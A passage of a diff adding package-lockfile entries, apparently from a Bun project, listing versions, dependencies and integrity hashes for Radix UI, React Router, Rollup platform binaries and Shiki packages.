"sha512-VBKYIYImA5zsxACdisNQ3BjCBfmbGH3kQlnFVqlWU4tXwjy7cGX8ta80BcrO+WJXIn5iBylEH3K6ZTlee//lgQ=="], + + "@radix-ui/react-roving-focus": ["@radix-ui/react-roving-focus@1.1.11", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-collection": "1.1.7", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-direction": "1.1.1", "@radix-ui/react-id": "1.1.1", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-callback-ref": "1.1.1", "@radix-ui/react-use-controllable-state": "1.2.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-7A6S9jSgm/S+7MdtNDSb+IU859vQqJ/QAtcYQcfFC6W8RS4IxIZDldLR0xqCFZ6DCyrQLjLPsxtTNch5jVA4lA=="], + + "@radix-ui/react-scroll-area": ["@radix-ui/react-scroll-area@1.2.10", "", { "dependencies": { "@radix-ui/number": "1.1.1", "@radix-ui/primitive": "1.1.3", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-direction": "1.1.1", "@radix-ui/react-presence": "1.1.5", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-callback-ref": "1.1.1", "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-tAXIa1g3sM5CGpVT0uIbUx/U3Gs5N8T52IICuCtObaos1S8fzsrPXG5WObkQN3S6NVl6wKgPhAIiBGbWnvc97A=="], + + "@radix-ui/react-select": ["@radix-ui/react-select@2.2.6", "", { "dependencies": { "@radix-ui/number": "1.1.1", "@radix-ui/primitive": "1.1.3", "@radix-ui/react-collection": "1.1.7", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-direction": "1.1.1", "@radix-ui/react-dismissable-layer": "1.1.11", "@radix-ui/react-focus-guards": "1.1.3", "@radix-ui/react-focus-scope": "1.1.7", "@radix-ui/react-id": "1.1.1", "@radix-ui/react-popper": "1.2.8", "@radix-ui/react-portal": "1.1.9", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-slot": "1.2.3", "@radix-ui/react-use-callback-ref": "1.1.1", "@radix-ui/react-use-controllable-state": "1.2.2", "@radix-ui/react-use-layout-effect": "1.1.1", "@radix-ui/react-use-previous": "1.1.1", "@radix-ui/react-visually-hidden": "1.2.3", "aria-hidden": "^1.2.4", "react-remove-scroll": "^2.6.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-I30RydO+bnn2PQztvo25tswPH+wFBjehVGtmagkU78yMdwTwVf12wnAOF+AeP8S2N8xD+5UPbGhkUfPyvT+mwQ=="], + + "@radix-ui/react-separator": ["@radix-ui/react-separator@1.1.7", "", { "dependencies": { "@radix-ui/react-primitive": "2.1.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-0HEb8R9E8A+jZjvmFCy/J4xhbXy3TV+9XSnGJ3KvTtjlIUy/YQ/p6UYZvi7YbeoeXdyU9+Y3scizK6hkY37baA=="], + + "@radix-ui/react-slider": ["@radix-ui/react-slider@1.3.6", "", { "dependencies": { "@radix-ui/number": "1.1.1", "@radix-ui/primitive": "1.1.3", "@radix-ui/react-collection": "1.1.7", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-direction": "1.1.1", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-controllable-state": "1.2.2", "@radix-ui/react-use-layout-effect": "1.1.1", "@radix-ui/react-use-previous": "1.1.1", "@radix-ui/react-use-size": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-JPYb1GuM1bxfjMRlNLE+BcmBC8onfCi60Blk7OBqi2MLTFdS+8401U4uFjnwkOr49BLmXxLC6JHkvAsx5OJvHw=="], + + "@radix-ui/react-slot": ["@radix-ui/react-slot@1.2.4", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-Jl+bCv8HxKnlTLVrcDE8zTMJ09R9/ukw4qBs/oZClOfoQk/cOTbDn+NceXfV7j09YPVQUryJPHurafcSg6EVKA=="], + + "@radix-ui/react-switch": ["@radix-ui/react-switch@1.2.6", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-controllable-state": "1.2.2", "@radix-ui/react-use-previous": "1.1.1", "@radix-ui/react-use-size": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-bByzr1+ep1zk4VubeEVViV592vu2lHE2BZY5OnzehZqOOgogN80+mNtCqPkhn2gklJqOpxWgPoYTSnhBCqpOXQ=="], + + "@radix-ui/react-tabs": ["@radix-ui/react-tabs@1.1.13", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-direction": "1.1.1", "@radix-ui/react-id": "1.1.1", "@radix-ui/react-presence": "1.1.5", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-roving-focus": "1.1.11", "@radix-ui/react-use-controllable-state": "1.2.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-7xdcatg7/U+7+Udyoj2zodtI9H/IIopqo+YOIcZOq1nJwXWBZ9p8xiu5llXlekDbZkca79a/fozEYQXIA4sW6A=="], + + "@radix-ui/react-toast": ["@radix-ui/react-toast@1.2.15", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-collection": "1.1.7", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-dismissable-layer": "1.1.11", "@radix-ui/react-portal": "1.1.9", "@radix-ui/react-presence": "1.1.5", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-callback-ref": "1.1.1", "@radix-ui/react-use-controllable-state": "1.2.2", "@radix-ui/react-use-layout-effect": "1.1.1", "@radix-ui/react-visually-hidden": "1.2.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-3OSz3TacUWy4WtOXV38DggwxoqJK4+eDkNMl5Z/MJZaoUPaP4/9lf81xXMe1I2ReTAptverZUpbPY4wWwWyL5g=="], + + "@radix-ui/react-toggle": ["@radix-ui/react-toggle@1.1.10", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-controllable-state": "1.2.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-lS1odchhFTeZv3xwHH31YPObmJn8gOg7Lq12inrr0+BH/l3Tsq32VfjqH1oh80ARM3mlkfMic15n0kg4sD1poQ=="], + + "@radix-ui/react-toggle-group": ["@radix-ui/react-toggle-group@1.1.11", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-direction": "1.1.1", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-roving-focus": "1.1.11", "@radix-ui/react-toggle": "1.1.10", "@radix-ui/react-use-controllable-state": "1.2.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-5umnS0T8JQzQT6HbPyO7Hh9dgd82NmS36DQr+X/YJ9ctFNCiiQd6IJAYYZ33LUwm8M+taCz5t2ui29fHZc4Y6Q=="], + + "@radix-ui/react-toolbar": ["@radix-ui/react-toolbar@1.1.11", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-direction": "1.1.1", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-roving-focus": "1.1.11", "@radix-ui/react-separator": "1.1.7", "@radix-ui/react-toggle-group": "1.1.11" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-4ol06/1bLoFu1nwUqzdD4Y5RZ9oDdKeiHIsntug54Hcr1pgaHiPqHFEaXI1IFP/EsOfROQZ8Mig9VTIRza6Tjg=="], + + "@radix-ui/react-tooltip": ["@radix-ui/react-tooltip@1.2.8", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-dismissable-layer": "1.1.11", "@radix-ui/react-id": "1.1.1", "@radix-ui/react-popper": "1.2.8", "@radix-ui/react-portal": "1.1.9", "@radix-ui/react-presence": "1.1.5", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-slot": "1.2.3", "@radix-ui/react-use-controllable-state": "1.2.2", "@radix-ui/react-visually-hidden": "1.2.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-tY7sVt1yL9ozIxvmbtN5qtmH2krXcBCfjEiCgKGLqunJHvgvZG2Pcl2oQ3kbcZARb1BGEHdkLzcYGO8ynVlieg=="], + + "@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-FkBMwD+qbGQeMu1cOHnuGB6x4yzPjho8ap5WtbEJ26umhgqVXbhekKUQO+hZEL1vU92a3wHwdp0HAcqAUF5iDg=="], + + "@radix-ui/react-use-controllable-state": ["@radix-ui/react-use-controllable-state@1.2.2", "", { "dependencies": { "@radix-ui/react-use-effect-event": "0.0.2", "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-BjasUjixPFdS+NKkypcyyN5Pmg83Olst0+c6vGov0diwTEo6mgdqVR6hxcEgFuh4QrAs7Rc+9KuGJ9TVCj0Zzg=="], + + "@radix-ui/react-use-effect-event": ["@radix-ui/react-use-effect-event@0.0.2", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-Qp8WbZOBe+blgpuUT+lw2xheLP8q0oatc9UpmiemEICxGvFLYmHm9QowVZGHtJlGbS6A6yJ3iViad/2cVjnOiA=="], + + "@radix-ui/react-use-escape-keydown": ["@radix-ui/react-use-escape-keydown@1.1.1", "", { "dependencies": { "@radix-ui/react-use-callback-ref": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-Il0+boE7w/XebUHyBjroE+DbByORGR9KKmITzbR7MyQ4akpORYP/ZmbhAr0DG7RmmBqoOnZdy2QlvajJ2QA59g=="], + + "@radix-ui/react-use-is-hydrated": ["@radix-ui/react-use-is-hydrated@0.1.0", "", { "dependencies": { "use-sync-external-store": "^1.5.0" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-U+UORVEq+cTnRIaostJv9AGdV3G6Y+zbVd+12e18jQ5A3c0xL03IhnHuiU4UV69wolOQp5GfR58NW/EgdQhwOA=="], + + "@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ=="], + + "@radix-ui/react-use-previous": ["@radix-ui/react-use-previous@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-2dHfToCj/pzca2Ck724OZ5L0EVrr3eHRNsG/b3xQJLA2hZpVCS99bLAX+hm1IHXDEnzU6by5z/5MIY794/a8NQ=="], + + "@radix-ui/react-use-rect": ["@radix-ui/react-use-rect@1.1.1", "", { "dependencies": { "@radix-ui/rect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-QTYuDesS0VtuHNNvMh+CjlKJ4LJickCMUAqjlE3+j8w+RlRpwyX3apEQKGFzbZGdo7XNG1tXa+bQqIE7HIXT2w=="], + + "@radix-ui/react-use-size": ["@radix-ui/react-use-size@1.1.1", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-ewrXRDTAqAXlkl6t/fkXWNAhFX9I+CkKlw6zjEwk86RSPKwZr3xpBRso655aqYafwtnbpHLj6toFzmd6xdVptQ=="], + + "@radix-ui/react-visually-hidden": ["@radix-ui/react-visually-hidden@1.2.3", "", { "dependencies": { "@radix-ui/react-primitive": "2.1.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-pzJq12tEaaIhqjbzpCuv/OypJY/BPavOofm+dbab+MHLajy277+1lLm6JFcGgF5eskJ6mquGirhXY2GD/8u8Ug=="], + + "@radix-ui/rect": ["@radix-ui/rect@1.1.1", "", {}, "sha512-HPwpGIzkl28mWyZqG52jiqDJ12waP11Pa1lGoiyUkIEuMLBP0oeK/C89esbXrxsky5we7dfd8U58nm0SgAWpVw=="], + + "@react-router/dev": ["@react-router/dev@7.10.1", "", { "dependencies": { "@babel/core": "^7.27.7", "@babel/generator": "^7.27.5", "@babel/parser": "^7.27.7", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/preset-typescript": "^7.27.1", "@babel/traverse": "^7.27.7", "@babel/types": "^7.27.7", "@react-router/node": "7.10.1", "@remix-run/node-fetch-server": "^0.9.0", "arg": "^5.0.1", "babel-dead-code-elimination": "^1.0.6", "chokidar": "^4.0.0", "dedent": "^1.5.3", "es-module-lexer": "^1.3.1", "exit-hook": "2.2.1", "isbot": "^5.1.11", "jsesc": "3.0.2", "lodash": "^4.17.21", "p-map": "^7.0.3", "pathe": "^1.1.2", "picocolors": "^1.1.1", "pkg-types": "^2.3.0", "prettier": "^3.6.2", "react-refresh": "^0.14.0", "semver": "^7.3.7", "tinyglobby": "^0.2.14", "valibot": "^1.2.0", "vite-node": "^3.2.2" }, "peerDependencies": { "@react-router/serve": "^7.10.1", "@vitejs/plugin-rsc": "*", "react-router": "^7.10.1", "typescript": "^5.1.0", "vite": "^5.1.0 || ^6.0.0 || ^7.0.0", "wrangler": "^3.28.2 || ^4.0.0" }, "optionalPeers": ["@react-router/serve", "@vitejs/plugin-rsc", "typescript", "wrangler"], "bin": { "react-router": "bin.js" } }, "sha512-kap9O8rTN6b3vxjd+0SGjhm5vqiAZHMmOX1Hc7Y4KXRVVdusn+0+hxs44cDSfbW6Z6fCLw6GXXe0Kr+DJIRezw=="], + + "@react-router/node": ["@react-router/node@7.10.1", "", { "dependencies": { "@mjackson/node-fetch-server": "^0.2.0" }, "peerDependencies": { "react-router": "7.10.1", "typescript": "^5.1.0" }, "optionalPeers": ["typescript"] }, "sha512-RLmjlR1zQu+ve8ibI0lu91pJrXGcmfkvsrQl7z/eTc5V5FZgl0OvQVWL5JDWBlBZyzdLMQQekUOX5WcPhCP1FQ=="], + + "@remix-run/node-fetch-server": ["@remix-run/node-fetch-server@0.9.0", "", {}, "sha512-SoLMv7dbH+njWzXnOY6fI08dFMI5+/dQ+vY3n8RnnbdG7MdJEgiP28Xj/xWlnRnED/aB6SFw56Zop+LbmaaKqA=="], + + "@rollup/rollup-android-arm-eabi": ["@rollup/rollup-android-arm-eabi@4.53.3", "", { "os": "android", "cpu": "arm" }, "sha512-mRSi+4cBjrRLoaal2PnqH82Wqyb+d3HsPUN/W+WslCXsZsyHa9ZeQQX/pQsZaVIWDkPcpV6jJ+3KLbTbgnwv8w=="], + + "@rollup/rollup-android-arm64": ["@rollup/rollup-android-arm64@4.53.3", "", { "os": "android", "cpu": "arm64" }, "sha512-CbDGaMpdE9sh7sCmTrTUyllhrg65t6SwhjlMJsLr+J8YjFuPmCEjbBSx4Z/e4SmDyH3aB5hGaJUP2ltV/vcs4w=="], + + "@rollup/rollup-darwin-arm64": ["@rollup/rollup-darwin-arm64@4.53.3", "", { "os": "darwin", "cpu": "arm64" }, "sha512-Nr7SlQeqIBpOV6BHHGZgYBuSdanCXuw09hon14MGOLGmXAFYjx1wNvquVPmpZnl0tLjg25dEdr4IQ6GgyToCUA=="], + + "@rollup/rollup-darwin-x64": ["@rollup/rollup-darwin-x64@4.53.3", "", { "os": "darwin", "cpu": "x64" }, "sha512-DZ8N4CSNfl965CmPktJ8oBnfYr3F8dTTNBQkRlffnUarJ2ohudQD17sZBa097J8xhQ26AwhHJ5mvUyQW8ddTsQ=="], + + "@rollup/rollup-freebsd-arm64": ["@rollup/rollup-freebsd-arm64@4.53.3", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-yMTrCrK92aGyi7GuDNtGn2sNW+Gdb4vErx4t3Gv/Tr+1zRb8ax4z8GWVRfr3Jw8zJWvpGHNpss3vVlbF58DZ4w=="], + + "@rollup/rollup-freebsd-x64": ["@rollup/rollup-freebsd-x64@4.53.3", "", { "os": "freebsd", "cpu": "x64" }, "sha512-lMfF8X7QhdQzseM6XaX0vbno2m3hlyZFhwcndRMw8fbAGUGL3WFMBdK0hbUBIUYcEcMhVLr1SIamDeuLBnXS+Q=="], + + "@rollup/rollup-linux-arm-gnueabihf": ["@rollup/rollup-linux-arm-gnueabihf@4.53.3", "", { "os": "linux", "cpu": "arm" }, "sha512-k9oD15soC/Ln6d2Wv/JOFPzZXIAIFLp6B+i14KhxAfnq76ajt0EhYc5YPeX6W1xJkAdItcVT+JhKl1QZh44/qw=="], + + "@rollup/rollup-linux-arm-musleabihf": ["@rollup/rollup-linux-arm-musleabihf@4.53.3", "", { "os": "linux", "cpu": "arm" }, "sha512-vTNlKq+N6CK/8UktsrFuc+/7NlEYVxgaEgRXVUVK258Z5ymho29skzW1sutgYjqNnquGwVUObAaxae8rZ6YMhg=="], + + "@rollup/rollup-linux-arm64-gnu": ["@rollup/rollup-linux-arm64-gnu@4.53.3", "", { "os": "linux", "cpu": "arm64" }, "sha512-RGrFLWgMhSxRs/EWJMIFM1O5Mzuz3Xy3/mnxJp/5cVhZ2XoCAxJnmNsEyeMJtpK+wu0FJFWz+QF4mjCA7AUQ3w=="], + + "@rollup/rollup-linux-arm64-musl": ["@rollup/rollup-linux-arm64-musl@4.53.3", "", { "os": "linux", "cpu": "arm64" }, "sha512-kASyvfBEWYPEwe0Qv4nfu6pNkITLTb32p4yTgzFCocHnJLAHs+9LjUu9ONIhvfT/5lv4YS5muBHyuV84epBo/A=="], + + "@rollup/rollup-linux-loong64-gnu": ["@rollup/rollup-linux-loong64-gnu@4.53.3", "", { "os": "linux", "cpu": "none" }, "sha512-JiuKcp2teLJwQ7vkJ95EwESWkNRFJD7TQgYmCnrPtlu50b4XvT5MOmurWNrCj3IFdyjBQ5p9vnrX4JM6I8OE7g=="], + + "@rollup/rollup-linux-ppc64-gnu": ["@rollup/rollup-linux-ppc64-gnu@4.53.3", "", { "os": "linux", "cpu": "ppc64" }, "sha512-EoGSa8nd6d3T7zLuqdojxC20oBfNT8nexBbB/rkxgKj5T5vhpAQKKnD+h3UkoMuTyXkP5jTjK/ccNRmQrPNDuw=="], + + "@rollup/rollup-linux-riscv64-gnu": ["@rollup/rollup-linux-riscv64-gnu@4.53.3", "", { "os": "linux", "cpu": "none" }, "sha512-4s+Wped2IHXHPnAEbIB0YWBv7SDohqxobiiPA1FIWZpX+w9o2i4LezzH/NkFUl8LRci/8udci6cLq+jJQlh+0g=="], + + "@rollup/rollup-linux-riscv64-musl": ["@rollup/rollup-linux-riscv64-musl@4.53.3", "", { "os": "linux", "cpu": "none" }, "sha512-68k2g7+0vs2u9CxDt5ktXTngsxOQkSEV/xBbwlqYcUrAVh6P9EgMZvFsnHy4SEiUl46Xf0IObWVbMvPrr2gw8A=="], + + "@rollup/rollup-linux-s390x-gnu": ["@rollup/rollup-linux-s390x-gnu@4.53.3", "", { "os": "linux", "cpu": "s390x" }, "sha512-VYsFMpULAz87ZW6BVYw3I6sWesGpsP9OPcyKe8ofdg9LHxSbRMd7zrVrr5xi/3kMZtpWL/wC+UIJWJYVX5uTKg=="], + + "@rollup/rollup-linux-x64-gnu": ["@rollup/rollup-linux-x64-gnu@4.53.3", "", { "os": "linux", "cpu": "x64" }, "sha512-3EhFi1FU6YL8HTUJZ51imGJWEX//ajQPfqWLI3BQq4TlvHy4X0MOr5q3D2Zof/ka0d5FNdPwZXm3Yyib/UEd+w=="], + + "@rollup/rollup-linux-x64-musl": ["@rollup/rollup-linux-x64-musl@4.53.3", "", { "os": "linux", "cpu": "x64" }, "sha512-eoROhjcc6HbZCJr+tvVT8X4fW3/5g/WkGvvmwz/88sDtSJzO7r/blvoBDgISDiCjDRZmHpwud7h+6Q9JxFwq1Q=="], + + "@rollup/rollup-openharmony-arm64": ["@rollup/rollup-openharmony-arm64@4.53.3", "", { "os": "none", "cpu": "arm64" }, "sha512-OueLAWgrNSPGAdUdIjSWXw+u/02BRTcnfw9PN41D2vq/JSEPnJnVuBgw18VkN8wcd4fjUs+jFHVM4t9+kBSNLw=="], + + "@rollup/rollup-win32-arm64-msvc": ["@rollup/rollup-win32-arm64-msvc@4.53.3", "", { "os": "win32", "cpu": "arm64" }, "sha512-GOFuKpsxR/whszbF/bzydebLiXIHSgsEUp6M0JI8dWvi+fFa1TD6YQa4aSZHtpmh2/uAlj/Dy+nmby3TJ3pkTw=="], + + "@rollup/rollup-win32-ia32-msvc": ["@rollup/rollup-win32-ia32-msvc@4.53.3", "", { "os": "win32", "cpu": "ia32" }, "sha512-iah+THLcBJdpfZ1TstDFbKNznlzoxa8fmnFYK4V67HvmuNYkVdAywJSoteUszvBQ9/HqN2+9AZghbajMsFT+oA=="], + + "@rollup/rollup-win32-x64-gnu": ["@rollup/rollup-win32-x64-gnu@4.53.3", "", { "os": "win32", "cpu": "x64" }, "sha512-J9QDiOIZlZLdcot5NXEepDkstocktoVjkaKUtqzgzpt2yWjGlbYiKyp05rWwk4nypbYUNoFAztEgixoLaSETkg=="], + + "@rollup/rollup-win32-x64-msvc": ["@rollup/rollup-win32-x64-msvc@4.53.3", "", { "os": "win32", "cpu": "x64" }, "sha512-UhTd8u31dXadv0MopwGgNOBpUVROFKWVQgAg5N1ESyCz8AuBcMqm4AuTjrwgQKGDfoFuz02EuMRHQIw/frmYKQ=="], + + "@shikijs/core": ["@shikijs/core@3.19.0", "", { "dependencies": { "@shikijs/types": "3.19.0", "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.4", "hast-util-to-html": "^9.0.5" } }, "sha512-L7SrRibU7ZoYi1/TrZsJOFAnnHyLTE1SwHG1yNWjZIVCqjOEmCSuK2ZO9thnRbJG6TOkPp+Z963JmpCNw5nzvA=="], + + "@shikijs/engine-javascript": ["@shikijs/engine-javascript@3.19.0", "", { "dependencies": { "@shikijs/types": "3.19.0", "@shikijs/vscode-textmate": "^10.0.2", "oniguruma-to-es": "^4.3.4" } }, "sha512-ZfWJNm2VMhKkQIKT9qXbs76RRcT0SF/CAvEz0+RkpUDAoDaCx0uFdCGzSRiD9gSlhm6AHkjdieOBJMaO2eC1rQ=="], + + "@shikijs/engine-oniguruma": ["@shikijs/engine-oniguruma@3.19.0", "", { "dependencies": { "@shikijs/types": "3.19.0", "@shikijs/vscode-textmate": "^10.0.2" } }, "sha512-1hRxtYIJfJSZeM5ivbUXv9hcJP3PWRo5prG/V2sWwiubUKTa+7P62d2qxCW8jiVFX4pgRHhnHNp+qeR7Xl+6kg=="], + + "@shikijs/langs": ["@shikijs/langs@3.19.0", "", { "dependencies": { "@shikijs/types": "3.19.0" } }, "sha512-dBMFzzg1QiXqCVQ5ONc0z2ebyoi5BKz+MtfByLm0o5/nbUu3Iz8uaTCa5uzGiscQKm7lVShfZHU1+OG3t5hgwg=="], + + "@shikijs/rehype": ["@shikijs/rehype@3.19.0", "", { "dependencies": { "@shikijs/types": "3.19.0", "@types/hast": "^3.0.4", "hast-util-to-string": "^3.0.1", "shiki": "3.19.0", "unified": "^11.0.5", "unist-util-visit": "^5.0.0" } }, "sha512-pzp/JVxrTd95HgMimHgYb9lCGSzVYEp1BweWUprFAEgGOF15d9IyX+IVW/+1Z5ZxdT9IUUF27UbC5YdA5oCzjw=="], + + "@shikijs/themes": ["@shikijs/themes@3.19.0", "", { "dependencies": { "@shikijs/types": "3.19.0" } }, "sha512-H36qw+oh91Y0s6OlFfdSuQ0Ld+5CgB/VE6gNPK+Hk4VRbVG/XQgkjnt4KzfnnoO6tZPtKJKHPjwebOCfjd6F8A=="], + + "@shikijs/transformers": ["@shikijs/transformers@3.19.0", "", { "dependencies": { "@shikijs/core": "3.19.0", "@shikijs/types": "3.19.0" } }, "sha512-e6vwrsyw+wx4OkcrDbL+FVCxwx8jgKiCoXzakVur++mIWVcgpzIi8vxf4/b4dVTYrV/nUx5RjinMf4tq8YV8Fw=="], + + "@shikijs/types": ["@shikijs/types@3.19.0", "", { "dependencies": { "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.4" } }, "sha512-Z2hdeEQlzuntf/BZpFG8a+Fsw9UVXdML7w0o3TgSXV3yNESGon+bs9ITkQb3Ki7zxoXOOu5oJWqZ2uto06V9iQ=="], + + "@shikijs/vscode-textmate": ["@shikijs/vscode-textmate@10.0.2", "", {}, "sha512-83yeghZ2xxin3Nj8z1NMd/NCuca+gsYXswywDy5bHvwlWL8tpTQmzGeUuHd9FC3E/SBEMvzJRwWEOz5gGes9Qg=="], + + "@solid-primitives/event-listener": ["@solid-primitives/event-listener@2.4.3", "", { "dependencies": { "@solid-primitives/utils": "^6.3.2" }, "peerDependencies": { "solid-js": "^1.6.12" } }, 